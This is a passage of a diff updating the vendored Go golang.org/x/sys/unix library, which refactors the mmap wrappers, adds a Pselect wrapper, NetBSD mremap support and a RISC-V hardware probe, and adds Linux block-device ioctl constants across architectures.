flags&MREMAP_DONTUNMAP == 0 { + if flags&mremapDontunmap == 0 { delete(m.active, pOld) } m.active[pNew] = bNew return bNew, nil } + +func Mremap(oldData []byte, newLength int, flags int) (data []byte, err error) { + return mapper.Mremap(oldData, newLength, flags) +} diff --git a/vendor/golang.org/x/sys/unix/syscall_aix.go b/vendor/golang.org/x/sys/unix/syscall_aix.go index c406ae00f4..9a6e5acacb 100644 --- a/vendor/golang.org/x/sys/unix/syscall_aix.go +++ b/vendor/golang.org/x/sys/unix/syscall_aix.go @@ -535,21 +535,6 @@ func Fsync(fd int) error { //sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error) = nsendmsg //sys munmap(addr uintptr, length uintptr) (err error) - -var mapper = &mmapper{ - active: make(map[*byte][]byte), - mmap: mmap, - munmap: munmap, -} - -func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { - return mapper.Mmap(fd, offset, length, prot, flags) -} - -func Munmap(b []byte) (err error) { - return mapper.Munmap(b) -} - //sys Madvise(b []byte, advice int) (err error) //sys Mprotect(b []byte, prot int) (err error) //sys Mlock(b []byte) (err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_bsd.go b/vendor/golang.org/x/sys/unix/syscall_bsd.go index 7705c3270b..4217de518b 100644 --- a/vendor/golang.org/x/sys/unix/syscall_bsd.go +++ b/vendor/golang.org/x/sys/unix/syscall_bsd.go @@ -601,20 +601,6 @@ func Poll(fds []PollFd, timeout int) (n int, err error) { // Gethostuuid(uuid *byte, timeout *Timespec) (err error) // Ptrace(req int, pid int, addr uintptr, data int) (ret uintptr, err error) -var mapper = &mmapper{ - active: make(map[*byte][]byte), - mmap: mmap, - munmap: munmap, -} - -func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { - return mapper.Mmap(fd, offset, length, prot, flags) -} - -func Munmap(b []byte) (err error) { - return mapper.Munmap(b) -} - //sys Madvise(b []byte, behav int) (err error) //sys Mlock(b []byte) (err error) //sys Mlockall(flags int) (err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin.go b/vendor/golang.org/x/sys/unix/syscall_darwin.go index 206921504c..135cc3cd75 100644 --- a/vendor/golang.org/x/sys/unix/syscall_darwin.go +++ b/vendor/golang.org/x/sys/unix/syscall_darwin.go @@ -510,30 +510,36 @@ func SysctlKinfoProcSlice(name string, args ...int) ([]KinfoProc, error) { return nil, err } - // Find size. - n := uintptr(0) - if err := sysctl(mib, nil, &n, nil, 0); err != nil { - return nil, err - } - if n == 0 { - return nil, nil - } - if n%SizeofKinfoProc != 0 { - return nil, fmt.Errorf("sysctl() returned a size of %d, which is not a multiple of %d", n, SizeofKinfoProc) - } + for { + // Find size. + n := uintptr(0) + if err := sysctl(mib, nil, &n, nil, 0); err != nil { + return nil, err + } + if n == 0 { + return nil, nil + } + if n%SizeofKinfoProc != 0 { + return nil, fmt.Errorf("sysctl() returned a size of %d, which is not a multiple of %d", n, SizeofKinfoProc) + } - // Read into buffer of that size. - buf := make([]KinfoProc, n/SizeofKinfoProc) - if err := sysctl(mib, (*byte)(unsafe.Pointer(&buf[0])), &n, nil, 0); err != nil { - return nil, err - } - if n%SizeofKinfoProc != 0 { - return nil, fmt.Errorf("sysctl() returned a size of %d, which is not a multiple of %d", n, SizeofKinfoProc) - } + // Read into buffer of that size. + buf := make([]KinfoProc, n/SizeofKinfoProc) + if err := sysctl(mib, (*byte)(unsafe.Pointer(&buf[0])), &n, nil, 0); err != nil { + if err == ENOMEM { + // Process table grew. Try again. + continue + } + return nil, err + } + if n%SizeofKinfoProc != 0 { + return nil, fmt.Errorf("sysctl() returned a size of %d, which is not a multiple of %d", n, SizeofKinfoProc) + } - // The actual call may return less than the original reported required - // size so ensure we deal with that. - return buf[:n/SizeofKinfoProc], nil + // The actual call may return less than the original reported required + // size so ensure we deal with that. + return buf[:n/SizeofKinfoProc], nil + } } //sys sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux.go b/vendor/golang.org/x/sys/unix/syscall_linux.go index 39de5f1430..a730878e49 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux.go @@ -1885,7 +1885,7 @@ func Getpgrp() (pid int) { //sys PerfEventOpen(attr *PerfEventAttr, pid int, cpu int, groupFd int, flags int) (fd int, err error) //sys PivotRoot(newroot string, putold string) (err error) = SYS_PIVOT_ROOT //sys Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) -//sys Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) = SYS_PSELECT6 +//sys pselect6(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *sigset_argpack) (n int, err error) //sys read(fd int, p []byte) (n int, err error) //sys Removexattr(path string, attr string) (err error) //sys Renameat2(olddirfd int, oldpath string, newdirfd int, newpath string, flags uint) (err error) @@ -2125,28 +2125,6 @@ func writevRacedetect(iovecs []Iovec, n int) { // mmap varies by architecture; see syscall_linux_*.go. //sys munmap(addr uintptr, length uintptr) (err error) //sys mremap(oldaddr uintptr, oldlength uintptr, newlength uintptr, flags int, newaddr uintptr) (xaddr uintptr, err error) - -var mapper = &mremapMmapper{ - mmapper: mmapper{ - active: make(map[*byte][]byte), - mmap: mmap, - munmap: munmap, - }, - mremap: mremap, -} - -func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { - return mapper.Mmap(fd, offset, length, prot, flags) -} - -func Munmap(b []byte) (err error) { - return mapper.Munmap(b) -} - -func Mremap(oldData []byte, newLength int, flags int) (data []byte, err error) { - return mapper.Mremap(oldData, newLength, flags) -} - //sys Madvise(b []byte, advice int) (err error) //sys Mprotect(b []byte, prot int) (err error) //sys Mlock(b []byte) (err error) @@ -2155,6 +2133,12 @@ func Mremap(oldData []byte, newLength int, flags int) (data []byte, err error) { //sys Munlock(b []byte) (err error) //sys Munlockall() (err error) +const ( + mremapFixed = MREMAP_FIXED + mremapDontunmap = MREMAP_DONTUNMAP + mremapMaymove = MREMAP_MAYMOVE +) + // Vmsplice splices user pages from a slice of Iovecs into a pipe specified by fd, // using the specified flags. func Vmsplice(fd int, iovs []Iovec, flags int) (int, error) { @@ -2454,6 +2438,39 @@ func Getresgid() (rgid, egid, sgid int) { return int(r), int(e), int(s) } +// Pselect is a wrapper around the Linux pselect6 system call. +// This version does not modify the timeout argument. +func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { + // Per https://man7.org/linux/man-pages/man2/select.2.html#NOTES, + // The Linux pselect6() system call modifies its timeout argument. + // [Not modifying the argument] is the behavior required by POSIX.1-2001. + var mutableTimeout *Timespec + if timeout != nil { + mutableTimeout = new(Timespec) + *mutableTimeout = *timeout + } + + // The final argument of the pselect6() system call is not a + // sigset_t * pointer, but is instead a structure + var kernelMask *sigset_argpack + if sigmask != nil { + wordBits := 32 << (^uintptr(0) >> 63) // see math.intSize + + // A sigset stores one bit per signal, + // offset by 1 (because signal 0 does not exist). + // So the number of words needed is ⌈__C_NSIG - 1 / wordBits⌉. + sigsetWords := (_C__NSIG - 1 + wordBits - 1) / (wordBits) + + sigsetBytes := uintptr(sigsetWords * (wordBits / 8)) + kernelMask = &sigset_argpack{ + ss: sigmask, + ssLen: sigsetBytes, + } + } + + return pselect6(nfd, r, w, e, mutableTimeout, kernelMask) +} + /* * Unimplemented */ diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go b/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go index 5b21fcfd75..70601ce369 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux_amd64.go @@ -40,7 +40,7 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err if timeout != nil { ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000} } - return Pselect(nfd, r, w, e, ts, nil) + return pselect6(nfd, r, w, e, ts, nil) } //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go b/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go index a81f5742b8..f5266689af 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux_arm64.go @@ -33,7 +33,7 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err if timeout != nil { ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000} } - return Pselect(nfd, r, w, e, ts, nil) + return pselect6(nfd, r, w, e, ts, nil) } //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_loong64.go b/vendor/golang.org/x/sys/unix/syscall_linux_loong64.go index 69d2d7c3db..f6ab02ec15 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux_loong64.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux_loong64.go @@ -28,7 +28,7 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err if timeout != nil { ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000} } - return Pselect(nfd, r, w, e, ts, nil) + return pselect6(nfd, r, w, e, ts, nil) } //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go b/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go index 76d564095e..93fe59d25d 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux_mips64x.go @@ -31,7 +31,7 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err if timeout != nil { ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000} } - return Pselect(nfd, r, w, e, ts, nil) + return pselect6(nfd, r, w, e, ts, nil) } //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) diff --git a/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go b/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go index 35851ef70b..5e6ceee129 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux_riscv64.go @@ -32,7 +32,7 @@ func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err if timeout != nil { ts = &Timespec{Sec: timeout.Sec, Nsec: timeout.Usec * 1000} } - return Pselect(nfd, r, w, e, ts, nil) + return pselect6(nfd, r, w, e, ts, nil) } //sys sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) @@ -177,3 +177,14 @@ func KexecFileLoad(kernelFd int, initrdFd int, cmdline string, flags int) error } return kexecFileLoad(kernelFd, initrdFd, cmdlineLen, cmdline, flags) } + +//sys riscvHWProbe(pairs []RISCVHWProbePairs, cpuCount uintptr, cpus *CPUSet, flags uint) (err error) + +func RISCVHWProbe(pairs []RISCVHWProbePairs, set *CPUSet, flags uint) (err error) { + var setSize uintptr + + if set != nil { + setSize = uintptr(unsafe.Sizeof(*set)) + } + return riscvHWProbe(pairs, setSize, set, flags) +} diff --git a/vendor/golang.org/x/sys/unix/syscall_netbsd.go b/vendor/golang.org/x/sys/unix/syscall_netbsd.go index 018d7d4782..ddd1ac8534 100644 --- a/vendor/golang.org/x/sys/unix/syscall_netbsd.go +++ b/vendor/golang.org/x/sys/unix/syscall_netbsd.go @@ -360,6 +360,18 @@ func Statvfs(path string, buf *Statvfs_t) (err error) { //sys writelen(fd int, buf *byte, nbuf int) (n int, err error) = SYS_WRITE //sys utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) +const ( + mremapFixed = MAP_FIXED + mremapDontunmap = 0 + mremapMaymove = 0 +) + +//sys mremapNetBSD(oldp uintptr, oldsize uintptr, newp uintptr, newsize uintptr, flags int) (xaddr uintptr, err error) = SYS_MREMAP + +func mremap(oldaddr uintptr, oldlength uintptr, newlength uintptr, flags int, newaddr uintptr) (uintptr, error) { + return mremapNetBSD(oldaddr, oldlength, newaddr, newlength, flags) +} + /* * Unimplemented */ @@ -564,7 +576,6 @@ func Statvfs(path string, buf *Statvfs_t) (err error) { // mq_timedreceive // mq_timedsend // mq_unlink -// mremap // msgget // msgrcv // msgsnd diff --git a/vendor/golang.org/x/sys/unix/syscall_solaris.go b/vendor/golang.org/x/sys/unix/syscall_solaris.go index b600a289d3..72d23575fa 100644 --- a/vendor/golang.org/x/sys/unix/syscall_solaris.go +++ b/vendor/golang.org/x/sys/unix/syscall_solaris.go @@ -716,20 +716,6 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) { return } -var mapper = &mmapper{ - active: make(map[*byte][]byte), - mmap: mmap, - munmap: munmap, -} - -func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { - return mapper.Mmap(fd, offset, length, prot, flags) -} - -func Munmap(b []byte) (err error) { - return mapper.Munmap(b) -} - // Event Ports type fileObjCookie struct { diff --git a/vendor/golang.org/x/sys/unix/syscall_unix.go b/vendor/golang.org/x/sys/unix/syscall_unix.go index 8e48c29ec3..8bb30e7ce3 100644 --- a/vendor/golang.org/x/sys/unix/syscall_unix.go +++ b/vendor/golang.org/x/sys/unix/syscall_unix.go @@ -147,6 +147,14 @@ func (m *mmapper) Munmap(data []byte) (err error) { return nil } +func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { + return mapper.Mmap(fd, offset, length, prot, flags) +} + +func Munmap(b []byte) (err error) { + return mapper.Munmap(b) +} + func Read(fd int, p []byte) (n int, err error) { n, err = read(fd, p) if raceenabled { diff --git a/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go b/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go index d3d49ec3ed..44e72edb42 100644 --- a/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go +++ b/vendor/golang.org/x/sys/unix/syscall_zos_s390x.go @@ -285,25 +285,11 @@ func Close(fd int) (err error) { return } -var mapper = &mmapper{ - active: make(map[*byte][]byte), - mmap: mmap, - munmap: munmap, -} - // Dummy function: there are no semantics for Madvise on z/OS func Madvise(b []byte, advice int) (err error) { return } -func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) { - return mapper.Mmap(fd, offset, length, prot, flags) -} - -func Munmap(b []byte) (err error) { - return mapper.Munmap(b) -} - //sys Gethostname(buf []byte) (err error) = SYS___GETHOSTNAME_A //sysnb Getegid() (egid int) //sysnb Geteuid() (uid int) diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_386.go b/vendor/golang.org/x/sys/unix/zerrors_linux_386.go index a46df0f1e5..cfb1430018 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_386.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_386.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80041270 BLKBSZSET = 0x40041271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80041272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go index 6cd4a3ea9d..df64f2d590 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80081270 BLKBSZSET = 0x40081271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80081272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go b/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go index c7ebee24df..3025cd5b2d 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80041270 BLKBSZSET = 0x40041271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80041272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go index 12a9a1389e..09e1ffbef9 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80081270 BLKBSZSET = 0x40081271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80081272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go index f26a164f4a..a457235407 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x127a BLKBSZGET = 0x80081270 BLKBSZSET = 0x40081271 + BLKDISCARD = 0x1277 + BLKDISCARDZEROES = 0x127c BLKFLSBUF = 0x1261 BLKFRAGET = 0x1265 BLKFRASET = 0x1264 + BLKGETDISKSEQ = 0x80081280 BLKGETSIZE = 0x1260 BLKGETSIZE64 = 0x80081272 + BLKIOMIN = 0x1278 + BLKIOOPT = 0x1279 BLKPBSZGET = 0x127b BLKRAGET = 0x1263 BLKRASET = 0x1262 BLKROGET = 0x125e BLKROSET = 0x125d + BLKROTATIONAL = 0x127e BLKRRPART = 0x125f + BLKSECDISCARD = 0x127d BLKSECTGET = 0x1267 BLKSECTSET = 0x1266 BLKSSZGET = 0x1268 + BLKZEROOUT = 0x127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go index 890bc3c9b7..fee7dfb819 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40041270 BLKBSZSET = 0x80041271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40041272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go index 549f26ac64..a5b2373aea 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go index e0365e32c1..5dde82c98a 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go index fdccce15ca..2e80ea6b33 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go @@ -27,22 +27,31 @@ const ( B57600 = 0x1001 B576000 = 0x1006 B921600 = 0x1007 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40041270 BLKBSZSET = 0x80041271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40041272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1000 BS1 = 0x2000 BSDLY = 0x2000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go index b2205c83fa..a65dcd7cbe 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go @@ -27,22 +27,31 @@ const ( B57600 = 0x10 B576000 = 0x15 B921600 = 0x16 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40041270 BLKBSZSET = 0x80041271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40041272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1f BS1 = 0x8000 BSDLY = 0x8000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go index 81aa5ad0f6..cbd34e3d89 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go @@ -27,22 +27,31 @@ const ( B57600 = 0x10 B576000 = 0x15 B921600 = 0x16 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 0x20001264 + BLKGETDISKSEQ = 0x40081280 BLKGETSIZE = 0x20001260 BLKGETSIZE64 = 0x40081272 + BLKIOMIN = 0x20001278 + BLKIOOPT = 0x20001279 BLKPBSZGET = 0x2000127b BLKRAGET = 0x20001263 BLKRASET = 0x20001262 BLKROGET = 0x2000125e BLKROSET = 0x2000125d + BLKROTATIONAL = 0x2000127e BLKRRPART = 0x2000125f + BLKSECDISCARD = 0x2000127d BLKSECTGET = 0x20001267 BLKSECTSET = 0x20001266 BLKSSZGET = 0x20001268 + BLKZEROOUT = 0x2000127f BOTHER = 0x1f BS1 = 0x8000 BSDLY = 0x8000 diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go index 76807a1fd4..e4afa7a317 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go @@ -27,22 +27,31 @@ const ( B57600 = 0x10 B576000 = 0x15 B921600 = 0x16 + BLKALIGNOFF = 0x2000127a BLKBSZGET = 0x40081270 BLKBSZSET = 0x80081271 + BLKDISCARD = 0x20001277 + BLKDISCARDZEROES = 0x2000127c BLKFLSBUF = 0x20001261 BLKFRAGET = 0x20001265 BLKFRASET = 